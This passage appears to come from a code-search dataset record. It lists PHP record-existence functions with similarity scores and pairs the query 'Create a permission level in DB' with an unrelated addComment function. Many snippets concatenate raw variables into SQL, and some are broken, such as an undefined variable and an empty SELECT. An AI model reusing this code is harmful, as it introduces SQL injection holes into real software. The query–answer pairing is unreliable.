findIsExists($organisasi_id);", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "public function hasId() {\n return $this->_has(1);\n }", "function pageIdExists($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT private FROM pages WHERE id = ? LIMIT 1\",array($id));\n\t$num_returns = $query->count();\n\tif ($num_returns > 0){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "function existsJourney($journey_name,$group_id ){\n require_once(\"../Model/PDO.php\");\n $UCjourneyname= $journey_name;//strtoupper($journey_name);\n\n\n $db = connection();\n $result = $db->query(\"SELECT COUNT(*) as nb\n FROM journey,goOn\n WHERE journey.idjourney = goOn.idjourney\n AND namejourney='$UCjourneyname'\n AND goOn.idgroup= $group_id;\");\n\n\n $data = $result->fetch();\n $result->closeCursor();\n if ($data['nb'] == 0 ){return 0;}\n else if ($data['nb'] > 0 ) {return 1;}\n}", "public function isExistById($id){\n//\t\tprint_r(\"##Count=##\");\n//\t\tprint_r($this->find($id)->count());\n return $this->find($id)->count() ;\n }", "protected static function gf_entry_row_exist($form_id, $lead_id)\n {\n global $wpdb;\n $sql = $wpdb->prepare(\"SELECT COUNT(*)\n FROM {$wpdb->prefix}rg_lead\n WHERE form_id=%d AND id=%d\", $form_id, $lead_id);\n $value = $wpdb->get_var($sql);\n if (intval($value) > 0) return true;\n else return false;\n\n }", "public function checkIDexists($car_id){\n $this->db->query('SELECT `id` FROM ' . CARS_TABLE . ' WHERE `id` = ' .$car_id);\n $this->db->getSingle();\n\n if( $this->db->rowCount() >= 1){\n return true;\n }else{\n return false;\n }\n }", "private function isClientExists(): bool {\n $sql = 'SELECT * FROM clients WHERE phone = :phone LIMIT 1';\n\n $db = static::getDB();\n $stmt = $db->prepare( $sql );\n\n $stmt->bindValue( ':phone', $this->phone, PDO::PARAM_STR );\n\n $stmt->execute();\n\n if ( $result = $stmt->fetch( PDO::FETCH_ASSOC ) ) {\n $this->id = $result['id'];\n\n return true;\n }\n\n return false;\n }", "public static function exists(int $id): bool;", "public function exists() {\n\t\tglobal $config;\n\t\t\n\t\tif(!empty($this->data['id']))\n\t\t\t$where = 'id = '.$this->data['id'];\n\t\telseif(!empty($this->data['fbid']))\n\t\t\t$where = 'fbid = '.$this->data['fbid'];\n\t\n\t\t$result = $config['database']->query(\"\n\t\t\tSELECT id\n\t\t\tFROM nuusers\n\t\t\tWHERE $where\n\t\t\tLIMIT 1\n\t\t\");\n\t\t\n\t\treturn $result->num_rows;\n\t}", "function user_id_exists($db, $user_id)\n{\n\t$sql = 'SELECT * FROM users where id=:id';\n\t$st = $db->prepare($sql);\n\t$st->execute(array(':id'=>$user_id));\n\t$us = $st->fetchAll();\n\treturn (count($us) >= 1);\n}", "public function hasId(){\r\n return $this->_has(5);\r\n }", "public function exists()\n {\n return ($this->id > 0) ? true : false;\n }", "public function testDbFindById()\n {\n $test1 = is_null($this->app->db()->findById('games', 999));\n\n # One result\n $test2 = $this->app->db()->findById('games', 1)['id'] == 1;\n\n return $test1 && $test2;\n }", "public function exists($id = false) {\n\t\t// Returns TRUE if $id is found in the 'people' database table\n\t\t// Returns FALSE otherwise.\n\t\t// This function will take any data type as input.\n\t\tif(!$id || !is_numeric($id)) return false;\n\t\t\n \t$query = \"SELECT id FROM people WHERE id = \".mydb::cxn()->real_escape_string($id);\n\t\t$result = mydb::cxn()->query($query);\n\t\t\n\t\tif(mydb::cxn()->affected_rows > 0) return TRUE;\n\t\telse return FALSE;\n\t}", "function IfExists($EquipmentId) {\r\n $conn = conn();\r\n $stmt = $conn->prepare(\"SELECT * FROM account WHERE AccountId = '$AccountId' ;\");\r\n $stmt->execute();\r\n $result = $stmt->fetchAll();\r\n if (($result)) {\r\n return 1;\r\n }\r\n return 0;\r\n $conn = NULL;\r\n }", "public function exists()\n {\n return !empty($this->ID);\n }", "static function exists($id) {\n $result = self::get($id);\n if (count($result) > 0) return true;\n return false;\n }", "function IfExists($companyid) {\r\n $conn = conn();\r\n $sql = \"SELECT * FROM deposit WHERE companyid='$companyid'\";\r\n $stmt = $conn->prepare($sql);\r\n $status = $stmt->execute();\r\n $result = $stmt->fetchAll();\r\n if (!empty($result)) {\r\n return 1;\r\n } else {\r\n return 0;\r\n }\r\n\r\n $conn = NULL;\r\n }", "function check_offence($conn, $id) {\n\t$sql = \"SELECT * FROM Offence WHERE Offence_ID = '$id'\";\n\t$result = mysqli_query($conn, $sql);\n\t// happen to have one match, i.e. one unique corrosponding vehicle\n\tif (mysqli_num_rows($result)== 1){\n\t\treturn True;\n\t}else {\n\t\treturn False; // no or multiple corrospondence\n\t}\n\t\n}", "public static function exists($adinumber=\"\") {\n global $database;\n \n $sql = \"SELECT * FROM \".static::$table_name.\" \";\n $sql .= \"WHERE adinumber = '{$adinumber}' \";\n $sql .= \"LIMIT 1\";\n $result_array = self::find_by_sql($sql);\n return !empty($result_array) ? true : false;\n }", "function exists($wallet_id)\r {\r\r $this->db->from('wallets');\r\r $this->db->where('wallet_id', $wallet_id);\r\r $query = $this->db->get();\r\r\r\r return ($query->num_rows() == 1);\r }", "public function checkExistedIdea($idea_id)\r\n {\r\n $model = new Ynidea_Model_DbTable_Ideas;\r\n $select = $model -> select()->where('idea_id=?',$idea_id); \r\n $row = $model->fetchRow($select); \r\n if($row)\r\n return true;\r\n else\r\n return false; \r\n }", "public function hasId()\n {\n return $this->id !== null;\n }", "function pageIdExists($id)\r\n{\r\n\tglobal $mysqli,$db_table_prefix;\r\n\t$stmt = $mysqli->prepare(\"SELECT private\r\n\t\tFROM \".$db_table_prefix.\"pages\r\n\t\tWHERE\r\n\t\tid = ?\r\n\t\tLIMIT 1\");\r\n\t$stmt->bind_param(\"i\", $id);\t\r\n\t$stmt->execute();\r\n\t$stmt->store_result();\t\r\n\t$num_returns = $stmt->num_rows;\r\n\t$stmt->close();\r\n\t\r\n\tif ($num_returns > 0)\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn false;\t\r\n\t}\r\n}", "public function exists(){\r\n\r\n\t\ttry {\r\n\t\t\tglobal $ks_db;\r\n\t\t\tglobal $ks_log;\r\n\t\t\t\r\n\t\t\t$bReturn = false;\r\n\t\t\t\r\n\t\t\tif (! isset ( $this->id )) { \r\n\t\t\t\techo \"Fatal Error: Id is not set for the object! Please do \\$objA->setId(\\$id); in: \" . __METHOD__;\r\n\t\t\t\texit ();\r\n\t\t\t}\r\n\r\n\t\t\t$sql = \"SELECT COUNT(*) as totalRow FROM $this->sqlTable WHERE lp_id = ?\";\r\n\r\n\t\t\t//count how many rows found\r\n\t\t\t$totalRow = $ks_db->fetchOne ( $sql, $this->id );\r\n\t\t\t\r\n\t\t\tif ($totalRow > 0) {\r\n\t\t\t\t$bReturn = true;\r\n\t\t\t}else {\r\n\t\t\t\t$bReturn = false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn $bReturn;\r\n\t\t\t\r\n\t\t} catch(Exception $e) {\r\n\t\t\t$ks_log->info ( 'Fatal Error: ' . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage () );\r\n\t\t\t$ks_log->info ( '<br>SQL Statement: ' . $sql);\r\n\t\t\techo \"Fatal Error: \" . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage ();\r\n\t\t\techo \"SQL Statement: \" . $sql;\r\n\t\t}\r\n\t}", "private function check_ID($id){\r\n\r\n $query = \"SELECT FROM users WHERE oauth_uid = ?\";\r\n $data = $this->_db->get_Row($query, $id);\r\n\r\n return ($this->_db->count_Rows($data) > 0) ? true : false;\r\n }", "function is_exists_doc($doc_id){\n\tif(!filter_var($doc_id, FILTER_VALIDATE_INT)){\n\t\n\treturn false;\n\t\n\t}\n\telse{\n\t\tglobal $prefix_doc;\n\t\t$query = borno_query(\"SELECT * FROM $prefix_doc WHERE id='$doc_id'\");\n\t\t\n\t\t$count = mysqli_num_rows($query);\n\t\tif($count==1){\n\t\t\treturn true;\n\t\t}\n\t\telse{\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\n\t}\n\n}", "public static function isExistingId($id, PDO $dbh=null);", "function is_deal_booked_by_user($mobile,$deal_id){\n //check this deal is not booked by this user already\n $count = Db::rowCount(\"booked_deals\",array(\n \"mobile\" => $mobile,\n \"deal_id\" => $deal_id\n ),array(\"=\",\"=\"));\n return $count >= 1 ? true : false;\n}", "public function hasId(): bool\n {\n return $this->getEntityDao()->hasId();\n }", "public static function exists($id) {\n\t\t$classe = get_called_class();\n\t\t$table = str_replace(\"db_\", \"\", $classe);\n\t\t$instance = db::findOne(db::table($table), \" id = :id \", array(\":id\" => $id));\n\t\treturn (!(is_null($instance)));\n\t}", "public function hasId(): bool\n {\n return $this->id !== null;\n }", "function is_valid_company($id) {\n\t\t$str = \"SELECT * FROM company WHERE Comany_ID = $id\";\n\t\t$req = mysqli_query($link,$str);\n\t\t$num = mysqli_num_rows($req);\n\t\tif($num == 1) return true;\n\t\telse return false;\n\t}", "public static function is_id_exist($image_id){\n\n\t\t$id_sql = self::_get_connection()->select(\"SELECT ID FROM apine_images WHERE ID=$image_id\");\n\t\tif($id_sql){\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t\n\t}", "public function hasId()\n {\n $id = $this->getId();\n\n if (is_array($id)) {\n foreach ($id as $k => $v) {\n if (\"\" == \"$v\") {\n return false;\n }\n }\n }\n else if (\"\" == \"$id\") {\n return false;\n }\n\n return true;\n }", "public function recordExists($id)\n {\n return is_array($this->selectSingleFields($id, ['id'], false));\n }", "function IfExists($natregno) {\r\n $conn = conn();\r\n $stmt = $conn->prepare(\"SELECT * FROM employee WHERE Natregno='$natregno';\");\r\n $stmt->execute();\r\n $result = $stmt->fetchAll();\r\n if (empty($result)) {\r\n return 1;\r\n }\r\n return 0;\r\n $conn = NULL;\r\n }", "public function hasGuid(){\n return $this->_has(1);\n }", "function permissionIdExists($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "function IfExists($natregno) {\r\n $conn = conn();\r\n $sql = \"SELECT * FROM users WHERE national_id='$natregno'\";\r\n $stmt = $conn->prepare($sql);\r\n $stmt->execute();\r\n $result = $stmt->fetchAll();\r\n if (!empty($result)) {\r\n return 1;\r\n }\r\n return 0;\r\n $conn = NULL;\r\n }", "function checkUserIdBL() {\n\t $isExisting = false;\n\t // If the user exists\n\t if ( checkUserIdDAL($_POST['userId']) )\n\t {\n\t\t $isExisting = true;\n\t }\n\t return $isExisting;\n }", "public function exists(){\r\n\r\n\t\ttry {\r\n\t\t\tglobal $ks_db;\r\n\t\t\tglobal $ks_log;\r\n\r\n\t\t\t$bReturn = false;\r\n\r\n\t\t\tif (! isset ( $this->id )) {\r\n\t\t\t\techo \"Fatal Error: Id is not set for the object! Please do \\$objA->setId(\\$dsh_id); in: \" . __METHOD__;\r\n\t\t\t\texit ();\r\n\t\t\t}\r\n\r\n\t\t\t$sql = \"SELECT COUNT(*) as totalRow FROM $this->sqlTable WHERE dsh_id = ?\";\r\n\r\n\t\t\t//count how many rows found\r\n\t\t\t$totalRow = $ks_db->fetchOne ( $sql, $this->id );\r\n\r\n\t\t\tif ($totalRow > 0) {\r\n\t\t\t\t$bReturn = true;\r\n\t\t\t}else {\r\n\t\t\t\t$bReturn = false;\r\n\t\t\t}\r\n\r\n\t\t\treturn $bReturn;\r\n\r\n\t\t} catch(Exception $e) {\r\n\t\t\t$ks_log->info ( 'Fatal Error: ' . __METHOD__ . '. ' . $e->getMessage () );\r\n\t\t\t$ks_log->info ( '<br>SQL Statement: ' . $sql);\r\n\t\t\techo \"Fatal Error: \" . __METHOD__ . '. ' . $e->getMessage ();\r\n\t\t\techo \"SQL Statement: \" . $sql;\r\n\t\t}\r\n\t}", "public function validar_id($id)\n {\n $this->db->where('a_id',(int)$id);\n $num = $this->db->get('Areas')->num_rows();\n\n return ($num==0);\n }", "function recordExists()\n {\n global $objDatabase;\n\n $query = \"\n SELECT 1\n FROM \".DBPREFIX.\"module_shop\".MODULE_INDEX.\"_products\n WHERE id=$this->id\";\n $objResult = $objDatabase->Execute($query);\n if (!$objResult || $objResult->EOF) return false;\n return true;\n }", "function permissionIdExists($id)\r\n{\r\n\tglobal $mysqli,$db_table_prefix;\r\n\t$stmt = $mysqli->prepare(\"SELECT id\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\t\tWHERE\r\n\t\tid = ?\r\n\t\tLIMIT 1\");\r\n\t$stmt->bind_param(\"i\", $id);\t\r\n\t$stmt->execute();\r\n\t$stmt->store_result();\r\n\t$num_returns = $stmt->num_rows;\r\n\t$stmt->close();\r\n\t\r\n\tif ($num_returns > 0)\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn false;\t\r\n\t}\r\n}", "function existe_tracker( $id ) {\n\treturn false !== obt_tracker($id);\n}", "public function hasLogid(){\n return $this->_has(20);\n }", "function attendance_has_logs_for_status($statusid) {\n global $DB;\n return $DB->record_exists('attendance_log', array('statusid' => $statusid));\n}" ]
[ "0.7761085", "0.71001047", "0.69924873", "0.6936868", "0.6813309", "0.67399985", "0.66513807", "0.6639737", "0.65437585", "0.6541902", "0.65278214", "0.6465411", "0.6425022", "0.6411436", "0.6373463", "0.63643897", "0.63526744", "0.63469815", "0.6327601", "0.629875", "0.629875", "0.629875", "0.629875", "0.629875", "0.629875", "0.629875", "0.629875", "0.629875", "0.629875", "0.62918115", "0.6287104", "0.62799114", "0.6264888", "0.6263242", "0.6254411", "0.6241024", "0.62372804", "0.6234218", "0.6234218", "0.62225235", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.62132865", "0.6211795", "0.621047", "0.61946243", "0.61943144", "0.61914027", "0.61900854", "0.61899865", "0.6189723", "0.6164462", "0.61585474", "0.6154677", "0.6154337", "0.61526126", "0.61508036", "0.6137528", "0.61324763", "0.6131051", "0.6130725", "0.6107141", "0.6106878", "0.61001587", "0.6098399", "0.60972005", "0.6096439", "0.60891587", "0.60747343", "0.6071452", "0.60683906", "0.6061085", "0.6054561", "0.6050513", "0.6043336", "0.6006149", "0.6000409", "0.59914106", "0.5985656", "0.5979038", "0.59717596", "0.5966555", "0.59629697", "0.5959695", "0.5955567", "0.5951315", "0.5949753", "0.5948914", "0.59482116", "0.5944464" ]
0.6409183
14
Create a permission level in DB
function addComment($franchise_id, $user_id, $comments) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("INSERT INTO " . $db_table_prefix . "comments ( user_id, franchise_id, comments, date ) VALUES ( ?, ?, ?, '" . time() . "' )"); $stmt->bind_param("sss", $user_id, $franchise_id, $comments); $result = $stmt->execute(); $stmt->close(); return $result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n\t{\n\t\t//Permissions are created via code\n\t}", "public function create() {\n// $role = Sentinel::findRoleById(1);\n// $roles = Rol::get();\n// foreach($roles as $role){\n// $role->removePermission(0);\n// $role->removePermission(1);\n// $role->save();\n// }\n// dd(Sentinel::getUser()->hasAccess('sds'));\n// dd(\\Modules\\Permissions\\Entities\\ModulePermission::where('module_id', 10)->where('permission', 'like', '%.view')->orderBy('menu_id')->lists('permission')->toArray());\n }", "function wb_create_permissions_table($con)\n{\n\t$query = 'CREATE TABLE IF NOT EXISTS permissions\n\t(\n\t\tpermission_id SERIAL,\n\t\tPRIMARY KEY(permission_id),\n\t\tuser_id BIGINT UNSIGNED NOT NULL,\n\t\tFOREIGN KEY(user_id) REFERENCES users(user_id),\n\t\tview BOOL NOT NULL DEFAULT 1,\n\t\tedit BOOL NOT NULL DEFAULT 1,\n\t\tdel BOOL NOT NULL DEFAULT 0,\n\t\tadmin BOOL NOT NULL DEFAULT 0\n\t) ENGINE=InnoDB';\n\t\n\twb_query($query, $con);\n}", "function createPermission($permission, $level, $descr) { // admin_permissions.php\r\n\r\n\tglobal $mysqli,$db_table_prefix; \r\n\r\n\t$stmt = $mysqli->prepare(\"INSERT INTO \".$db_table_prefix.\"permissions (\r\n\r\n\t\tname,\r\n\t\t\r\n\t\taccess_level,\r\n\t\t\r\n\t\tdescription\r\n\r\n\t\t)\r\n\r\n\t\tVALUES (\r\n\r\n\t\t?,\r\n\t\t\r\n\t\t?,\r\n\t\t\r\n\t\t?\r\n\r\n\t\t)\");\r\n\r\n\t$stmt->bind_param(\"sss\", $permission, $level, $descr);\r\n\r\n\t$result = $stmt->execute();\r\n\r\n\t$stmt->close();\t\r\n\r\n\treturn $result;\r\n\r\n}", "function createPermission($permission) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"INSERT INTO \" . $db_table_prefix . \"permissions (\n\t\tname\n\t\t)\n\t\tVALUES (\n\t\t?\n\t\t)\");\n $stmt->bind_param(\"s\", $permission);\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n}", "function addNewLevel($name, $level, $permissions)\n {\n\n // define all the global variables\n global $database, $message;\n\n // escape strings\n $name = $database->secureInput($name);\n $level = $database->secureInput($level);\n //$permissions = $database->secureInput($permissions);\n\n // check for any empty fields\n if ($name == \"\" || $level == \"\" || $permissions == \"\") {\n $message->setError(\"All fields are required to be filled\", Message::Error);\n return false;\n }\n\n // check if level name exists\n if ($this->isLevelNameAvailable($name)) {\n $message->setError(\"Level name already exists\", Message::Error);\n return false;\n }\n\n // check if level exists\n if ($this->isLevelAvailable($level)) {\n $message->setError(\"Level already exists\", Message::Error);\n return false;\n }\n\n // check if array of permissions has been supplied and its not an empty array\n if (!is_array($permissions)) {\n $message->setError(\"An array of strings must be supplied for the permissions\", Message::Error);\n return false;\n }\n\n if (empty($permissions)) {\n $message->setError(\"At least 1 permission is required\", Message::Error);\n return false;\n }\n\n // split the permissions array and store it in a string with a '|' separator\n $permissionsString = \"\";\n $i = 0;\n foreach ($permissions as $permission) {\n\n // escape the string for db protection\n $permission = $database->secureInput($permission);\n\n // check if permissions only has * inside, then refuse it and don't add it\n if ($permission == \"*\") {\n continue;\n }\n\n // check if string has no spaces in it then don't add it\n if (preg_match('/\\s/', $permission)) {\n continue;\n }\n\n // add the permission to the string array\n $permissionsString .= $permission;\n\n // check if not last, then add a separator\n if (($i + 1) < count($permissions)) {\n $permissionsString .= \"|\";\n }\n\n $i++;\n }\n\n // update the database with the new results\n $sql = \"INSERT INTO \" . TBL_LEVELS . \" (\" . TBL_LEVELS_LEVEL . \",\" . TBL_LEVELS_NAME . \",\" . TBL_LEVELS_PERMISSIONS . \") VALUES\n ('$level','$name','$permissionsString')\";\n\n // get the sql results\n if (!$result = $database->getQueryResults($sql)) {\n return false;\n }\n\n // if not errors then return a success message\n $message->setSuccess(\"Level \" . $name . \"(\" . $level . \"), has been successfully created\");\n return true;\n }", "public function run()\n {\n Permission::factory(SC::PERMISSIONS_COUNT)->create();\n }", "function createPermission($permission) {\r\n\tglobal $mysqli,$db_table_prefix; \r\n\t$stmt = $mysqli->prepare(\"INSERT INTO \".$db_table_prefix.\"permissions (\r\n\t\tname\r\n\t\t)\r\n\t\tVALUES (\r\n\t\t?\r\n\t\t)\");\r\n\t$stmt->bind_param(\"s\", $permission);\r\n\t$result = $stmt->execute();\r\n\t$stmt->close();\t\r\n\treturn $result;\r\n}", "public function create()\n {\n if (Auth::user()->ability('superadministrator', 'create-permissions')){\n return view('permission.create',[\n 'pageheader'=>'权限',\n 'pagedescription'=>'添加',\n ]);\n }\n return abort(403,config('yyxt.permission_deny'));\n }", "public function run()\n {\n $levels = [\n ['ds_access_level' => 'Master'],\n ['ds_access_level' => 'Admin'],\n ['ds_access_level' => 'user']\n ];\n\n foreach ($levels as $level) {\n AccessLevel::create($level);\n }\n }", "public function create() {\r\n $this->db->insert(\"assets_permissions\", array());\r\n\r\n $this->model->setId($this->db->lastInsertId());\r\n\r\n return $this->save();\r\n }", "public function run()\n {\n \\Illuminate\\Support\\Facades\\DB::table('permission')->insert([\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'HOME'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'MEDIA'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'MEDIA_LIBRARY'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'MEDIA_ADD'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'USER'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'USER_ALL'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'USER_ADD'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'USER_YOUR_PROFILE'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'USER_ROLE'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'SETTING'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'COMMENT'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'PAGE'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'PAGE_ALL'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'PAGE_NEW'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'POST'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'POST_ADD'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'POST_ALL'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'CATEGORY'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'CATEGORY_ADD'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'CATEGORY_ALL'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'PRODUCT'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'PRODUCT_ADD'],\n ['create' => true, 'update' => true, 'delete' => true, 'read' => true, 'role_id' => 1, 'function_id' => 'PRODUCT_ALL'],\n ]);\n }", "public function store(Request $request){\n\n// Log::info($request->type_name);\n// Log::info($request->module_children);\n foreach ($request->module_children as $value) {\n Permission::create([\n 'name' => $value. ' ' . $request->type_name\n ]);\n }\n\n }", "public function addPermission(){\n\t\t\n\t\t\n\t\t$role = $this->checkExist();\n\t\tif($role === false){\n\t\t\treturn \"Role doesn't exist <br>\";\n\t\t}\n\t\t\n\t\t$PC = new PermissionController(array(\"id\"=>$this->_params[\"permissionId\"], \"permission\"=>$this->_params[\"permissionName\"]));\n\t\t$permission = $PC->checkExist();\n\t\tif($permission===false){\n\t\t\treturn \"Permission doesn't exist <br>\";\n\t\t}\n\t\t\n\t\t$RP = new RolePermission($role->_id, $permission->_id);\n\t\t\n\t\t$check = $RP->findInDB();\n\t\t\n\t\tif($check != false){\n\t\t\treturn(\"This role already has this permission. <br>\");\n\t\t}\n\t\t\n\t\t$RP->create();\n\t\treturn true;\n\t}", "public function run()\n {\n $permiso = new Permission();\n $permiso->name='Administer roles & permissions';\n $permiso->save();\n }", "public function storePermission($request)\n {\n try {\n $data = [\n 'module_id' => $request->module_id,\n 'name' => $request->name,\n 'description' => $request->description,\n 'guard_name' => 'web',\n ];\n \n $permission = Permission::create($data);\n if ($permission->exists) {\n return true;\n } else {\n return false;\n }\n } catch(\\Exception $err){\n Log::error('message error in storePermission on RoleRepository :'. $err->getMessage());\n return back()->with('error', $err->getMessage());\n }\n}", "private function seedPermissions()\n {\n (new \\Naraki\\Permission\\Models\\Permission())->insert([\n [\n 'entity_type_id' => 4,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::USERS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 4,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::GROUPS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 4,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::BLOG_POSTS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 4,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::MEDIA,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 4,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::SYSTEM,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 5,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::USERS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 5,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::GROUPS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 5,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::BLOG_POSTS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 5,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::MEDIA,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 5,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::SYSTEM,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 6,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::USERS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 6,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::BLOG_POSTS,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 6,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::MEDIA,\n 'permission_mask' => 0b1111\n ],\n [\n 'entity_type_id' => 6,\n 'entity_id' => \\Naraki\\Core\\Models\\Entity::SYSTEM,\n 'permission_mask' => 0b1111\n ],\n ]);\n\n }", "public function create()\n\t{\n\t\t$data['title'] = \"Level Admin\";\n\t\t// $data['level'] = $this->level->getAll();\n\t\t$data['action'] = \"level/insert\";\n\t\t$this->template->admthemes('level/formCreate',$data);\n\t}", "public function an_authenticated_user_can_add_new_permissions()\n {\n $this->be($user = factory('App\\User')->create());\n\n \t$newPermission = factory('App\\Permission')->make();\n \t$request = $newPermission->toArray();\n \t$request['create'] = 1;\n \t$request['read'] = 1;\n \t$request['update'] = 1;\n \t$request['delete'] = 1;\n\n \t\n \t$this->post('permissions', $request);\n $this->assertDatabaseHas('permissions',[\n \t'name' => $newPermission->name . ' create'\n ]);\n\t\t$this->assertDatabaseHas('permissions',[\n \t'name' => $newPermission->name . ' read'\n ]);\n \t$this->assertDatabaseHas('permissions',[\n \t'name' => $newPermission->name . ' update'\n ]);\n $this->assertDatabaseHas('permissions',[\n \t'name' => $newPermission->name . ' delete'\n ]);\n }", "function set_can_create_user ($permission)\r\n {\r\n $_SESSION[\"can_create_user\"] = $permission;\r\n }", "public function run()\n {\n $enrolledId = State::byName('enrolled')->id;\n $mapping = [\n ['user_id' => 1, 'role_id' => 1, 'conference_id' => null, 'state_id' => null],\n ];\n DB::table('permissions')->insert($mapping);\n }", "private function createForumPermissions($id,$log=false){\n \t$admin = $this->_admin_permission = NewDao::getInstance()->insert('permissions',array('name'=>$this->getName() . '-admin'),$log);\n \t$editor = $this->_editor_permission = NewDao::getInstance()->insert('permissions',array('name'=>$this->getName() . '-editor'),$log);\n \t$user = $this->_user_permission = NewDao::getInstance()->insert('permissions',array('name'=>$this->getName() . '-user'),$log);\n \t\n \t$options = array('open'=>1,\t'view'=>1, 'create'=>1);\n \t\n \t$this->insertForumPermission($id,$user,$options,$log);\n \t\n \t$options['move']=1;\n \t$options['add-users']=1;\n \t$this->insertForumPermission($id,$editor,$options,$log);\n \t\n \t$options['remove']=1;\n \t$options['add-editors']=1;\n \t$options['restrict']=1;\n \t$options['free']=1;\n \t$this->insertForumPermission($id,$admin,$options,$log);\n }", "public function run()\n {\n\n\n \\DB::table('permissions')->delete();\n\n \\DB::table('permissions')->insert(array (\n 0 =>\n array (\n 'id' => 1,\n 'permission' => 'user_create',\n 'permission_display' => 'Benutzer erstellen',\n 'group_id' => 1,\n 'crud' => 'create',\n 'created_at' => '2020-08-10 13:25:31',\n 'updated_at' => '2020-08-12 12:30:58',\n 'deleted_at' => NULL,\n ),\n 1 =>\n array (\n 'id' => 2,\n 'permission' => 'user_read',\n 'permission_display' => 'Benutzer lesen',\n 'group_id' => 1,\n 'crud' => 'read',\n 'created_at' => 